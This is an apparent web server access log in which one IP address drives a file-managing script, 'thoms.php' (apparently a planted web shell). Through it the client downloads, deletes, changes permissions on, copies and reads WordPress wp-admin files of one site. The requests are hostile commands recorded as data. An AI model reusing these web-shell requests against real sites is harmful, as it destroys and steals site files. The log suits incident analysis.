45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 200 13786 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?dl=press-this.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28754 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?chmod=upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?chmod=admin-post.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /bestjudy.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-writing.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-writing.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?dl=index.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:34 -0400] "GET /thoms.php?del=options-connectors.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28722 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /bestjudy.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /bestjudy.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fabout.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fabout.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 200 15905 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?chmod=revision.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /bestjudy.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?del=load-styles.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?chmod=themes.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?dl=themes.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 200 15459 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fterm.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fterm.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:35 -0400] "GET /thoms.php?dl=plugin-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28789 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /bestjudy.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 200 13981 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?del=upgrade-functions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28762 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-general.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-general.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /bestjudy.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?dl=options-writing.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28712 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupgrade.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupgrade.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?del=widgets.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fasync-upload.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fasync-upload.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?del=comment.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:36 -0400] "GET /thoms.php?dl=edit-comments.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28756 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 200 17992 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /bestjudy.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?chmod=theme-install.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?chmod=link-manager.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?del=edit-link-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28765 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 200 12666 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /bestjudy.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?del=export-personal-data.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?del=font-library.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28757 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /thoms.php?del=index.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28676 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:37 -0400] "GET /bestjudy.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /bestjudy.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?del=options.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=options.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?dl=revision.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /bestjudy.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?del=edit-tag-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcustom-header.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcustom-header.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?del=edit-comments.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /bestjudy.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 200 13084 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmoderation.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmoderation.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 200 22465 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fnav-menus.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fnav-menus.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /bestjudy.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /bestjudy.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 200 14160 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 200 13031 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?del=press-this.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28765 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Flink-manager.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Flink-manager.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /thoms.php?dl=link.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?dl=link.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:39 -0400] "GET /bestjudy.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-head.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions-head.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:40 -0400] "GET /thoms.php?del=plugin-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
